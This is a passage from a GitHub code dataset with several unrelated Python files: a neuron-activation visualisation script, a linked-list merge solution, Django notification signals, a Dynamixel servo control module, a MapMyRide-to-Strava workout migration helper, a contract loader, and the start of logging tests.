pickle.load(f)\nelse:\n all_card_htmls = {}\n\n\nds = fo.data\n\n\ndef upsample(actmap, shape):\n actmap_im_rsz = Image.fromarray(actmap).resize(shape, resample=Image.BILINEAR)\n actmap_rsz = np.array(actmap_im_rsz)\n return actmap_rsz\n\n\ndef get_border(x):\n x = x.astype(np.uint8)\n border = x - ndimage.morphology.binary_dilation(x)\n border = border.astype(np.bool)\n return border\n\n\ndef add_mask(img, mask):\n img = img.astype(np.int64)\n mask_border = get_border(mask)\n\n mask_weights = np.clip(mask.astype(np.float32), 0.25, 1.0)\n\n img_masked = img * mask_weights[:, :, np.newaxis]\n img_masked[mask_border] = (255, 255, 0)\n img_masked = np.clip(np.round(img_masked), 0, 255).astype(np.uint8)\n return img_masked\n\n\ndef friendly(mstr):\n return mstr.replace('(', '').replace(')', '').replace(' ', '_').replace(',', '')\n\n\nfor (\n layername,\n layer_features,\n layer_maxfeature,\n layer_thresholds,\n prev_layername,\n prev_features,\n prev_thresholds,\n layer_contrs,\n) in ranger:\n ranger.set_description(f\"Layer {layername}\")\n\n # ==== STEP 3: calculating IoU scores ====\n # Get tally dfname\n if settings.UNIT_RANGE is None:\n tally_dfname = f\"tally_{layername}.csv\"\n else:\n # Only use a subset of units\n tally_dfname = f\"tally_{layername}_{min(settings.UNIT_RANGE)}_{max(settings.UNIT_RANGE)}.csv\"\n tally_result, mc = fo.tally(\n layer_features, layer_thresholds, savepath=tally_dfname\n )\n N = 483\n top = np.argsort(layer_maxfeature, 0)[: -1 -20 : -1, :].transpose()\n visdir = os.path.join(settings.OUTPUT_FOLDER, f'vis_{N}')\n os.makedirs(visdir, exist_ok=True)\n\n # DO THE FULL UPSAMPLING OF THIS FEATURE MASK (this is very inefficient_)\n feats = layer_features[:, N]\n from tqdm import tqdm\n acts = np.stack([\n upsample(feats_i, (112, 112))\n for feats_i in tqdm(feats, desc='upsampling')\n ])\n neuron_masks = acts > layer_thresholds[N]\n actmin = acts.min()\n actmax = acts.max()\n\n for record in tally_result:\n if record['unit'] != N:\n continue\n\n def get_labs(label):\n # Image masks\n labs_enc = mc.get_mask(label)\n # Mask labels\n labs = cmask.decode(labs_enc)\n labs = labs.reshape((layer_features.shape[0], *mc.mask_shape))\n return labs\n\n labd = {}\n def rec_add(lab_f):\n lab_str = lab_f.to_str(lambda x: ds.name(None, x))\n labd[lab_str] = get_labs(lab_f)\n # Measure IoU again.\n # print(f\"{lab_str} IoU: {iou(labd[lab_str], neuron_masks):f}\")\n\n if isinstance(lab_f, F.Leaf):\n return\n elif isinstance(lab_f, F.Not):\n rec_add(lab_f.val)\n elif isinstance(lab_f, F.And) or isinstance(lab_f, F.Or):\n # binary op\n rec_add(lab_f.left)\n rec_add(lab_f.right)\n else:\n raise ValueError(f\"Unknown formula {lab_f}\")\n\n root_f = F.parse(record[\"label\"], reverse_namer=ds.rev_name)\n rec_add(root_f)\n\n # Neuron mask\n # Upsample\n for i, index in enumerate(tqdm(top[N], desc='topn')):\n # Most popular images\n imfn = ds.filename(index)\n img = np.array(Image.open(imfn))\n # Neuron activations - upsample\n\n # Here's your neuron mask\n acts_up = acts[index]\n acts_up = upsample(acts_up, img.shape[:2])\n\n img_hm = add_heatmap(img, acts_up, actmin, actmax)\n new_imfn = os.path.join(visdir, f\"{i}_neuron_act.jpg\")\n Image.fromarray(img_hm).save(new_imfn)\n\n # Find borders\n neuron_mask = acts_up > layer_thresholds[N]\n img_masked = add_mask(img, neuron_mask)\n new_imfn = os.path.join(visdir, f\"{i}_neuron.jpg\")\n Image.fromarray(img_masked).save(new_imfn)\n\n # Go through primitives and masks\n # Save original\n orig_imfn = os.path.join(visdir, f\"{i}_orig.jpg\")\n Image.fromarray(img).save(orig_imfn)\n\n for mstr, m in labd.items():\n m = m[index]\n m = upsample(m, img.shape[:2])\n mstr_friendly = friendly(mstr)\n img_masked = add_mask(img, m)\n new_imfn = os.path.join(visdir, f\"{i}_{mstr_friendly}.jpg\")\n Image.fromarray(img_masked).save(new_imfn)\n\n # IoU masks\n iou_imfn = os.path.join(visdir, f\"{i}_{mstr_friendly}_iou.jpg\")\n iou_img = iou_mask(img, neuron_mask, m)\n Image.fromarray(iou_img).save(iou_imfn)\n\n # Find examples - water river AND blue\n if N == 483:\n mstr = \"((water OR river) AND blue-c)\"\n new_m = F.parse(mstr, reverse_namer=ds.rev_name)\n mstr_friendly = friendly(mstr)\n new_labs = get_labs(new_m)\n # Sort by most common\n top = np.argsort(new_labs.sum((1, 2)))[::-1]\n top = top[30:50]\n for i, index in enumerate(tqdm(top, desc='blue')):\n # Most popular images\n imfn = ds.filename(index)\n img = np.array(Image.open(imfn))\n # Neuron activations - upsample\n actmap = acts[index]\n actmap = upsample(actmap, img.shape[:2])\n\n img_hm = add_heatmap(img, actmap, actmin, actmax)\n new_imfn = os.path.join(visdir, f\"BLUE-{i}_neuron_act.jpg\")\n Image.fromarray(img_hm).save(new_imfn)\n\n # Here's your neuron mask\n neuron_mask = actmap > layer_thresholds[N]\n\n img_masked = add_mask(img, neuron_mask)\n new_imfn = os.path.join(visdir, f\"BLUE-{i}_neuron.jpg\")\n Image.fromarray(img_masked).save(new_imfn)\n\n # Go through primitives and masks\n m = new_labs[index]\n m = upsample(m, img.shape[:2])\n img_masked = add_mask(img, m)\n new_imfn = os.path.join(visdir, f\"BLUE-{i}_{mstr_friendly}.jpg\")\n Image.fromarray(img_masked).save(new_imfn)\n for mstr, m in labd.items():\n m = m[index]\n m = upsample(m, img.shape[:2])\n mstr_friendly = friendly(mstr)\n img_masked = add_mask(img, m)\n new_imfn = os.path.join(visdir, f\"BLUE-{i}_{mstr_friendly}.jpg\")\n Image.fromarray(img_masked).save(new_imfn)\n\n iou_imfn = os.path.join(visdir, f\"BLUE-{i}_{mstr_friendly}_iou.jpg\")\n iou_img = iou_mask(img, neuron_mask, m)\n Image.fromarray(iou_img).save(iou_imfn)\n\n # Save original\n orig_imfn = os.path.join(visdir, f\"BLUE-{i}_orig.jpg\")\n Image.fromarray(img).save(orig_imfn)\n","repo_name":"jayelm/compexp","sub_path":"vision/vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":10748,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"31"} +{"seq_id":"8766958072","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def mergeTwoLists(self, list1: Optional[ListNode], list2: Optional[ListNode]) -> Optional[ListNode]:\n first = ListNode(val=-1) \n node = first\n while (list1 is not None) or (list2 is not None):\n if list1 is None:\n node.next = list2\n break\n elif list2 is None:\n node.next = list1\n break\n elif list1.val <= list2.val:\n node.next = list1\n list1 = list1.next\n else:\n node.next = list2\n list2 = list2.next\n node = node.next\n return first.next\n","repo_name":"danbrick92/legacyRandom","sub_path":"work-at-tech/arrays/merge_two_sorted_linked_lists.py","file_name":"merge_two_sorted_linked_lists.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38789499391","text":"from django.db.models import signals\nfrom django.dispatch import receiver\n\nfrom . import models\n\n\n@receiver(signals.pre_save, sender=models.Project)\ndef project_status_notifications(sender, instance, **kwargs):\n \"\"\"\n Create project status changed notification when Project status is\n updated\n \"\"\"\n # Check if project is already in the record\n is_not_new = instance.pk is not None\n\n if instance.tracker.has_changed('status') and is_not_new:\n subject = '{} Project Status Updated'.format(instance.short_name)\n message = '{} project status has been updated to {}'.format(\n instance.short_name,\n instance.get_status_display()\n )\n notify_list = instance.followers.filter(is_active=True)\n\n # Add notification\n for user in notify_list:\n instance.add_notification(subject, message, user)\n\n\n@receiver(signals.post_save, sender=models.Project)\ndef new_project_notifications(sender, instance, created, **kwargs):\n \"\"\"\n Create a notification when a new project is created\n \"\"\"\n if created:\n subject = 'New Project Added - {}'.format(instance.full_name)\n message = 'A new project with the title {} has been added'.format(\n instance.full_name.title()\n )\n notify_list = models.CustomUser.objects.filter(is_active=True)\n\n # Add notification\n for user in notify_list:\n instance.add_notification(subject, message, user)\n","repo_name":"eyobofficial/construction-app","sub_path":"dashboard/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"40806700803","text":"\"\"\"\n\nChain\n=====\n\nThis module is designed to make it easy to control multiple servos in a synchronized manner \nusing less code.\n\nThis module further implements functionality which is important in applications such as \nkinematic chains, which contain a number of interconnected servos. In a robotic arm, \nfor example, it is important to ensure that all of the joints have completed moving to \nthe first target position before the arm starts moving to a second position.\n\nThis library need not only be used for kinetic chains; it can be used in any \napplication where it is required to control multiple servos in a synchronized manner.\n\n\nThe position of the servos is controlled using vectors. Each vector contains a list of \ntuples, each containing a servo id, the target position, and the velocity at which the \nservo should move. For example:\n\n servo_id = 1\n target_position = 512\n velocity = 180\n \n vector_tuple = (servo_id, target_position, velocity)\n \nGiven multiple vectors, the ``move_to_vector()`` method can be used to move every servo \nfor every tuple at once. For example:\n\n from pydynamixel import chain, dynamixel\n\n # You'll need to change this to the serial port of your USB2Dynamixel\n serial_port = '/dev/tty.usbserial-A921X77J'\n ser = dynamixel.get_serial_for_url(serial_port)\n\n vector = [\n (1, 822, 180),\n (2, 94, 140),\n (3, 929, 100)\n ]\n \n chain.move_to_vector(ser, vector)\n \nMoving multiple servos through multiple frames using this vector syntax is \nquite combersome. If the servo ids and velocities are constant, the ``make_vector()`` \nconvenience method can be used:\n\n from pydynamixel import chain, dynamixel\n\n # You'll need to change this to the serial port of your USB2Dynamixel\n serial_port = '/dev/tty.usbserial-A921X77J'\n ser = dynamixel.get_serial_for_url(serial_port)\n\n servo_ids = [1,2,3]\n velocities = [180,140,100]\n \n vector_1 = make_vector(servo_ids, [822, 94, 929], velocities)\n vector_2 = make_vector(servo_ids, [822, 632, 391], velocities)\n\nThe following example demonstrates the process of manipulating the robot using a series of frames.\n\n from pydynamixel import chain, dynamixel\n\n joints = [1, 2, 3, 4, 5, 6, 7]\n velocity = 180\n \n # Initialize the servos\n chain.init(ser, joints, velocity)\n \n # A list of frames each consisting of the target \n # displacements for each joint\n pos = [[822, 94, 929, 919, 104, 820, 691],\n [822, 632, 391, 919, 104, 523, 561],\n [822, 640, 383, 911, 112, 516, 650],\n [822, 100, 923, 918, 105, 538, 650],\n [818, 100, 923, 918, 105, 538, 650],\n [495, 100, 923, 918, 105, 538, 650],\n [495, 714, 309, 802, 221, 538, 650],\n [495, 723, 300, 791, 232, 538, 569],\n [495, 103, 920, 916, 107, 538, 571],\n [495, 103, 920, 916, 107, 538, 571],\n [495, 723, 300, 791, 232, 538, 569],\n [495, 714, 309, 802, 221, 538, 650],\n [495, 100, 923, 918, 105, 538, 650],\n [818, 100, 923, 918, 105, 538, 650],\n [822, 100, 923, 918, 105, 538, 650],\n [822, 640, 383, 911, 112, 516, 650],\n [822, 632, 391, 919, 104, 523, 561],\n [822, 94, 929, 919, 104, 820, 691]]\n \n # Iterate over the vectors, move to each, \n # and wait for each move to complete\n for v in pos:\n vector = chain.make_vector_constant_velocity(v, joints, velocity)\n chain.move_to_vector(ser, vector)\n chain.wait_for_move(ser, joints)\n \nFore each vector, after instructing the joints to move to the specified position, \nthe program waits until all servos have finished moving before moving to the next frame.\n\n\"\"\"\n\nimport dynamixel\nimport packets\nimport time\n\nNUM_ERROR_ATTEMPTS = 10\nSLEEP_TIME = 0.1\nVERBOSE = True\n\ndef wait_for_move(ser, joints, verbose = VERBOSE, num_error_attempts = NUM_ERROR_ATTEMPTS):\n \"\"\"\n Blocks until all of the servos with IDs specified by `joints` have stopped moving.\n \n :param ser: The ``serial`` port to use. \n :param joints: A list of servo IDs. \n :param verbose: If True, status information will be printed. Default: ``VERBOSE``.\n :param num_error_attempts: The number of attempts to make to send the packet when an error is encountered.\n \n :returns: ``None``.\n \n \"\"\"\n \n # Iterate over the joints \n for j in joints:\n # Get the packet which will be used to read the moving status of the joint\n packet = packets.get_read_packet(j, 0x2E, 2)\n \n # Loop until the move status indicates that the joint is no longer moving\n while True:\n resp = dynamixel.write_and_get_response_multiple(ser, packet, j, verbose, num_error_attempts)\n \n moving = resp.data[0]\n \n if moving == 0:\n break\n \n time.sleep(SLEEP_TIME)\n\ndef move_to_vector(ser, vector, verbose = VERBOSE, num_error_attempts = NUM_ERROR_ATTEMPTS):\n \"\"\"\n Move multiple servos concurrently. \n \n :param ser: The ``serial`` object to use. \n :param vector: A list of vectors in the form (id, position, velocity). \n :param verbose: If True, status information will be printed. Default: ``VERBOSE``.\n :param num_error_attempts: The number of attempts to make to send the packet when an error is encountered.\n \n :returns: ``None``.\n \n \"\"\"\n \n for i in range(0,len(vector)):\n \n servo_id = vector[i][0]\n angle = vector[i][1]\n velocity = vector[i][2]\n \n if verbose:\n print('Setting angle for {0} to {1}...'.format(id, angle))\n packet = packets.get_write_position_packet(servo_id, angle)\n dynamixel.write_and_get_response_multiple(ser, packet, id, verbose, num_error_attempts)\n \n if verbose:\n print('Setting velocity for {0} to {1}...'.format(id, velocity))\n packet = packets.get_write_velocity_packet(servo_id, velocity)\n dynamixel.write_and_get_response_multiple(ser, packet, id, verbose, num_error_attempts)\n \n if verbose:\n print('Sending action packet.')\n \n packet = packets.get_action_packet()\n ser.write(packet)\n \n \ndef read_position(ser, joints, verbose = VERBOSE, num_error_attempts = NUM_ERROR_ATTEMPTS):\n \"\"\"\n Read the current position of each joint. \n \n Move each joint to this position so that servo\n does not jerk into position when moved later.\n \n :param ser: The ``serial`` object to use. \n :param joints: A list of servo IDs.\n :param verbose: If True, status information will be printed. (Default: ``VERBOSE``).\n :param num_error_attempts: The number of attempts to make to send the packet when an error is encountered. (Default: ``NUM_ERROR_ATTEMPTS``.)\n \n :returns: An array of values which correspond to the initial positions of the joints. \n \n \"\"\"\n \n # Create a list to hold the positions\n init_positions = []\n \n # Iterate over the joints and read the position of each\n for j in joints:\n \n if verbose:\n print('Reading initial position for joint {0}...'.format(j))\n \n pos = packets.get_read_position_packet(j)\n init_positions.append(pos)\n \n return init_positions\n\ndef make_vector_constant_velocity(position, joints, velocity):\n \"\"\"\n A convenience method to make a vector from a list of positions, a list of joints,\n and the same velocity for all joints. \n \n :param position: A list of servo positions. \n :param joints: A list of servo ids. \n :param velocity: The velocity at which to move all joints.\n \n :returns: A vector.\n \n \"\"\"\n vector = []\n \n for i in range(len(joints)):\n vector.append((joints[i], position[i], velocity))\n \n return vector\n\ndef make_vector(position, joints, velocity):\n \"\"\"\n A convenience method to make a vector from a list of positions, a list of joints,\n and a list of velocities.\n \n :param position: A list of servo positions. \n :param joints: A list of servo ids. \n :param velocity: The velocities at which to move each joint.\n \n :returns: A vector.\n \n \"\"\"\n vector = []\n \n for i in range(len(joints)):\n vector.append((joints[i], position[i], velocity[i]))\n \n return vector\n\ndef init_constant_velocity(ser, joints, velocity, verbose = VERBOSE, num_error_attempts = NUM_ERROR_ATTEMPTS):\n \"\"\"\n Read the current position of the servos and then set that position. Used to mitigate issues\n with the servos moving abrubtly when first powered on.\n \n :param ser: The ``serial`` object to use. \n :param joints: A list of servo IDs.\n :param velocity: The velocity at which to move all joints.\n :param verbose: If True, status information will be printed. (Default: ``VERBOSE``).\n :param num_error_attempts: The number of attempts to make to send the packet when an error is encountered. (Default: ``NUM_ERROR_ATTEMPTS``.)\n \n :returns: A vector which corresponds to the initial positions of the joints. \n \n \"\"\"\n \n init_pos = read_position(ser, joints, verbose, num_error_attempts)\n vector = make_vector_constant_velocity(init_pos, joints, velocity)\n move_to_vector(ser, vector, verbose, num_error_attempts)\n wait_for_move(ser, joints, verbose, num_error_attempts)\n \n return vector\n \n\ndef init(ser, joints, velocity, verbose = VERBOSE, num_error_attempts = NUM_ERROR_ATTEMPTS):\n \"\"\"\n Read the current position of the servos and then set that position. Used to mitigate issues\n with the servos moving abrubtly when first powered on.\n \n :param ser: The ``serial`` object to use. \n :param joints: A list of servo IDs.\n :param velocity: The velocities at which to move each joint.\n :param verbose: If True, status information will be printed. (Default: ``VERBOSE``).\n :param num_error_attempts: The number of attempts to make to send the packet when an error is encountered. (Default: ``NUM_ERROR_ATTEMPTS``.)\n \n :returns: A vector which corresponds to the initial positions of the joints. \n \n \"\"\"\n \n init_pos = read_position(ser, joints, verbose, num_error_attempts)\n vector = make_vector(init_pos, joints, velocity)\n move_to_vector(ser, vector, verbose, num_error_attempts)\n wait_for_move(ser, joints, verbose, num_error_attempts)\n \n return vector\n \n","repo_name":"richard-clark/PyDynamixel","sub_path":"pydynamixel/chain.py","file_name":"chain.py","file_ext":"py","file_size_in_byte":10461,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"12144653876","text":"# https://leetcode.com/problems/removing-stars-from-a-string/\nclass Solution:\n def removeStars(self, s: str) -> str:\n stack = []\n\n for c in s:\n if c == \"*\": stack and stack.pop() # make sure the stack isnt empty\n else: stack.append(c)\n \n return \"\".join(stack)","repo_name":"rcchcz/competitive-programming","sub_path":"python/removing_stars_from_a_string.py","file_name":"removing_stars_from_a_string.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30234468179","text":"\"\"\"\nThis module contains all functions used by this program, for greater code clarity.\n\n - `download_mmr_workouts()`: downloads workouts from mapmyride\n - `get_mmr_csv_file()`: gets a list of all workouts as a csv file\n - `get_strava_access_token()`: `WIP`: gets strava's write access token. Part of the not yet implemented oauth2 auth flow\n - `list_mmr_workouts()`: builds a list of mapmyride workouts with only the data we need\n - `print_help_text()`: prints this program's help text and quits\n - `upload_workouts_to_strava()`: uploads all workouts to strava from TCX files\n\nFor more details onto each function, these are also docstring'd. \n\"\"\"\nimport csv, os, time, urllib.request, urllib3, zlib\n\ndef get_argument_value(args:list[str], flag:str, separator:str = \"=\") -> str:\n \"\"\"\n #### Description\n A key-value search that will search a list and return the value of a given flag, or an empty string if not found.\n \n #### Parameters\n - `args`: list of arguments from the command line, each element in a --key=value format but the first one which is the file's path\n - `flag`: '--key' to search its 'value' for\n - `separator`: argument separator. An '=' sign by default\n \n #### Returns\n - The `flag's value` if found. Otherwise an `empty string`\n\n #### Notes\n If your value also contains instances of the separator itself as a part of it, set the separator as --flag+separator: i.e '--flag='\n \"\"\"\n for element in args:\n if element.startswith(flag):\n return element.split(separator)[1]\n return \"\" # Return empty if not found\n\ndef print_help_text(exit_code:int = 1):\n \"\"\"\n #### Description\n Prints this program's help text `and quits` with the provided exit code.\n \n #### Parameters\n - `exit_code`: The exit code we want to exit with\n \"\"\"\n print(\"=\" * 52)\n print(\"| Tool to migrate all mapmyride workouts to strava |\".center(52))\n print(\"=\" * 52)\n print(\n \"\\nUsage: migrate-mapmyride-to-strava.py --csv_file=my_mmr_worklouts_file.csv --mmr_cookie=\\\"session cookie on a string\\\" --strava-access-token=\\\"access token with activity:write permission\\\"\"\n )\n print(\"\\nFlags:\")\n print(\n \"--mmr_cookie | The session cookie from mapmyride. It can be stolen from any browser request to mapmyride via the inspector.\"\n )\n print(\n \"--strava-access-token | Access token from strava API app. Must have activity:write permission. Follow these instructions to obtain it: https://yizeng.me/2017/01/11/get-a-strava-api-access-token-with-write-permission/\"\n )\n print(\"--help | Prints this help text\")\n exit(exit_code)\n\ndef get_mmr_csv_file(headers:tuple, workdir: str, url: str = \"https://www.mapmyfitness.com/workout/export/csv\") -> bool:\n \"\"\"\n #### Description\n Gets mapMyRide's workout list as a csv file and saves it for use by the uploader.\n \n #### Parameters\n - `headers`: A tuple containing the headers required for this request\n - `url`: Endpoint where to download the CSV file data from. Defaults to currently known value but can be overriden\n - `workdir`: Working directory where to store the CSV file at\n \n #### Returns\n - `True` if successful, `False` if not.\n\n #### Notes\n This function and how to retrieve the csv file programatically were derived from its [CSV documentation](https://support.mapmyfitness.com/hc/en-us/articles/1500009118782-Export-Workout-Data) & by some req-res hacking, since applications for API access are no longer being granted.\n \"\"\"\n outputfile = f\"{workdir}/workout_list.csv\"\n # First, lets build our request, with stolen data from an actually working request from the \n # mapMyRide website. Auth cookie as well.\n my_request = urllib.request.Request(url)\n\n for key, value in headers:\n my_request.add_header(key, value)\n\n # Now, let's download the workout. It'll be encoded as a gzip object\n try:\n page = urllib.request.urlopen(my_request).read().decode(\"utf-8\")\n # Let's decode our gzip\n # Now, let's store our file onto disk\n outfile = open(outputfile,\"w\")\n outfile.write(str(page))\n outfile.close()\n except:\n return False, \"\"\n\n return True, outputfile\n\ndef list_mmr_workouts(csv_file_path: str) -> list:\n \"\"\"\n #### Description\n Reads the mapMyRide csv file and returns a list that only contains those colums we'll be using.\n #### Parameters\n - `csv_file_path`: Full path to the csv_file to be read\n \n #### Returns\n - A `list` containing only those items that'll be used by this program\n\n #### Notes\n This one comes from analyzing mapMyRide's CSV file, since it's not documented anywhere and they're no longer granting requests for API access.\n \"\"\"\n # From csv file analysis\n col_workout_type = 2\n col_notes = 12\n col_source = 13\n col_dl_link = 14\n payload = []\n # First, let's get info required to download a workout\n with open (csv_file_path, mode=\"r\", newline=\"\") as csvfile:\n item = csv.reader(csvfile, delimiter=\",\")\n for row in item:\n # This will skip the CSV file's header\n if \"Date Submitted\" in row:\n continue\n # Get download link\n link = row[col_dl_link]\n # Get notes + source (if they exist, otherwise empty string)\n notes = ((row[col_notes] if \"b''\" not in row[col_notes] else \"\")[2:-1] +\n (\" (from \" + \n row[col_source] + \"app)\" if row[col_source] != \"\" else \"\")).strip()\n workout_type = row[col_workout_type]\n workout_id = row[col_dl_link].rsplit('/', 2)[1]\n\n payload.append([link, notes, workout_type, workout_id])\n return payload\n\ndef download_mmr_workouts(headers: tuple, output_dir: str, workout_list: list) -> bool:\n \"\"\"\n #### Description\n Downloads all workouts, each as a TCX file, from a mapmyride account onto a chosen directory.\n \n #### Parameters\n - `headers`: A tuple containing the headers required for this request\n - `output_dir`: Target directory where to store the workouts at\n - `workout_list`: The list generated by the `list_mmr_workouts()` function\n \n #### Returns\n - `True` if successful, `False` if not\n\n #### Notes\n This function may take a while to run if the targeted mapmyride account holds too many workouts. Since there's no public-facing API documentation available, it's unknown if a ratelimiter is implemented on their side.\n \"\"\"\n # Let's download each file from the payload list to a temp folder\n i = 0 # This'll be used to generate unique readable filenames\n\n for url, comments, wtype, id in workout_list:\n # Let's build our filename and check if it's already been saved. This'll allow some degree of resume capability\n filename = f\"{'{0:0>4}'.format(str(i))}-{id}-{wtype.replace(' ','-').replace('/','')}.tcx\"\n i = i + 1\n\n outputfile = f\"{output_dir}/{filename}\"\n if not os.path.isfile(outputfile):\n # First, lets build our request, with stolen data from an actually working request from the \n # mapMyRide website. Auth cookie as well.\n my_request = urllib.request.Request(str(url)\n .replace(\"/workout/\",\"/workout/export/\")\n .replace(\"http://\", \"https://\")\n + \"/tcx\")\n\n for key, value in headers:\n my_request.add_header(key, value)\n\n # Now, let's download the workout. It'll be encoded as a gzip object\n try:\n page = urllib.request.urlopen(my_request).read()\n # Let's decode our gzip\n decoded_result = zlib.decompress(page, 16 + zlib.MAX_WBITS).decode(\"utf-8\")\n # Now, let's store our file onto disk\n print(f\"💾 Exporting file \\\"{filename}\\\" from workout at \\\"{url}\\\"...\")\n outfile = open(outputfile,\"w\")\n outfile.write(str(decoded_result))\n outfile.close()\n except:\n return False\n else:\n print(f\"✅ Skipping file \\\"{filename}\\\", as it already exists...\")\n continue\n\n print(f\"\\n🏁 Workouts downloaded. \\\"{i}\\\" workout{'s' if i > 1 else ''} to \\\"{output_dir}\\\"\\n\")\n return True\n\ndef upload_workouts_to_strava(workouts_dir: str, workout_list: list, strava_access_token: str) -> bool:\n \"\"\"\n #### Description\n Uploads all workouts found on a given directory that match the mapmyride CSV file to Strava.\n \n #### Parameters\n - `workouts_dir`: The full path to the directory where all the TCX files reside\n - `workout_list`: The list generated by the `list_mmr_workouts()` function\n - `strava_access_token`: The strava access token provided to this program\n \n #### Returns\n - `True` if successful, `False` if not\n\n #### Notes\n This function may take a while to run if there are too many workouts, since Strava implements [a ratelimiter on its API](https://developers.strava.com/docs/getting-started/#basic).\n \"\"\"\n throttle_wait = 910 # Sleep for 15 minutes before resuming, to avoid \n # hitting API ratelimiter\n\n # ===============================================================================================\n # First, let's construct a list of files to upload ==============================================\n # ===============================================================================================\n filelist = os.listdir(workouts_dir)\n\n result = {}\n for list_element in filelist:\n if \".tcx\" not in list_element: # Filter out other files, like .gitignore, .DS_Store, etc\n continue\n result[list_element.split('-')[1]] = list_element # Add to dict, use workout id as key\n\n full_list=[]\n for list_item in workout_list:\n if list_item[3] in result:\n full_list.append(list_item + [result[list_item[3]]])\n full_list.sort(reverse=True)\n # ===============================================================================================\n # Now, let's upload our files one by one ========================================================\n # ===============================================================================================\n # Getting strava's auth code\n http = urllib3.PoolManager()\n \n for link, notes, workout_type, workout_id, workout_file in full_list:\n with open(workouts_dir + \"/\" + workout_file, 'rb') as file:\n tcx_data = file.read()\n\n # Create the request headers\n headers = {\n 'Authorization': f'Bearer {strava_access_token}',\n 'Content-Disposition': f'attachment; filename=\"{workout_file}\"'\n }\n \n # create the data payload\n data = {\n \"data_type\": \"tcx\",\n 'file': (workouts_dir + \"/\" + workout_file, tcx_data, 'application/tcx'),\n 'description': notes\n }\n \n # Send the request\n try:\n response = http.request(\n method='POST',\n url='https://www.strava.com/api/v3/uploads',\n headers=headers,\n fields=data\n )\n except:\n return False\n\n # Print the response\n response_status_code = response.headers._container['status'][1][0:3]\n\n # [15min-limit, daily-limit]\n response_x_ratelimit_limit = response.headers._container['x-ratelimit-limit'][1].split(\",\")\n # [15min-limit-usage, daily-limit-usage]\n response_x_ratelimit_usage = response.headers._container['x-ratelimit-usage'][1].split(\",\")\n\n if response_status_code == '201': # Success!\n print(f\"✅ Workout \\\"{workout_file}\\\" uploaded successfully. \\\n 15m ratelimit [used/limit]: [{response_x_ratelimit_usage[0]},{response_x_ratelimit_limit[0]}] \\\n daily ratelimit [used/limit]: [{response_x_ratelimit_usage[1]},{response_x_ratelimit_limit[1]}]\")\n os.rename(f\"{workouts_dir}/{workout_file}\",f\"{workouts_dir}/archive/{workout_file}\")\n elif response_status_code == '429': # Hit ratelimiter\n print(f\"\\n⏰ Workout \\\"{workout_file}\\\" hit a ratelimit. Waiting {throttle_wait / 60} minutes before retrying\\n\")\n time.sleep(throttle_wait)\n elif response_status_code == '500': # Server error\n print(f\"❌ Workout \\\"{workout_file}\\\" failed to upload due to error 500. Left in place so it can be retried\")\n\n if int(response_x_ratelimit_usage[0]) >= int(response_x_ratelimit_limit[0]): # Hit 15-min ratelimit\n print(f\"\\n⏰ 15-min ratelimit reached. Waiting {throttle_wait / 60} minutes before retrying\\n\")\n time.sleep(throttle_wait)\n\n if int(response_x_ratelimit_usage[1]) >= int(response_x_ratelimit_limit[1]): # Hit daily ratelimit\n print(f\"\\n💥 Daily ratelimit reached. Wait until tomorrow and try again.\")\n return False\n return True\n","repo_name":"Korrd/mapmyfitness-to-strava-migrator","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":12393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12506827582","text":"import argparse\n\nfrom contractAPI.getContract import get_contract\nfrom contractAPI import utils\n\ndef argparse_for_main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--config', type=str, required=False)\n parser.add_argument('--miner', type=str, required=False)\n parser.add_argument('--contrjson', type=str, required=True)\n parser.add_argument('--contrtxjson', type=str, required=False)\n args = parser.parse_args()\n return args\n\nif __name__ == \"__main__\":\n args = argparse_for_main()\n contract = get_contract(args.config, args.contrjson, args.contrtxjson, args.miner)\n\n \n w3 = utils.getProvider(args.config, args.miner)","repo_name":"3chdog/BCFLwithMECopen","sub_path":"flower/get_contract.py","file_name":"get_contract.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13712238013","text":"import logging\nimport re\nimport sys\nimport time\nfrom logging import getLogger\nfrom pathlib import Path\nfrom io import StringIO\n\nimport pytest\nfrom logger_tt import setup_logging, logging_disabled, logger as my_logger, remove_unused_handlers\n\n\n__author__ = \"Duc Tin\"\n\nlogger = getLogger(__name__)\nlog = Path.cwd() / 'logs/log.txt'\n\n\ndef test_basic_function(capsys):\n with setup_logging():\n logger.debug('my debug')\n logger.info('my info')\n logger.warning('my warning')\n logger.error('my error')\n logger.critical('the market crashed')\n\n # check stdout\n captured = capsys.readouterr()\n stdout_data = captured.out\n assert 'my debug' not in stdout_data\n assert 'my info' in stdout_data\n assert 'my warning' in stdout_data\n assert 'my error' in stdout_data\n assert 'the market crashed' in stdout_data\n\n # check log.txt\n log_data = log.read_text()\n assert 'my debug' in log_data\n assert 'my info' in log_data\n assert 'my warning' in log_data\n assert 'my error' in log_data\n assert 'the market crashed' in log_data\n\n\ndef test_capture_print_not_strict(capsys):\n with setup_logging(capture_print=True):\n print('This is my print')\n sys.stdout.write('\\n')\n sys.stdout.write('This should be printed normally')\n\n stdout_data = capsys.readouterr().out\n log_data = log.read_text()\n\n assert re.search('.*INFO.*This is my print', stdout_data)\n assert re.search('.*INFO.*This is my print', log_data)\n\n assert 'This should be printed normally' in stdout_data\n assert not re.search('.*INFO.*This should be printed normally', stdout_data)\n assert 'This should be printed normally' not in log_data\n\n\ndef test_capture_print_strict(capsys):\n with setup_logging(capture_print=True, strict=True):\n print('This is my print')\n sys.stdout.write('This should be printed normally too')\n\n stdout_data = capsys.readouterr().out\n log_data = log.read_text()\n\n assert 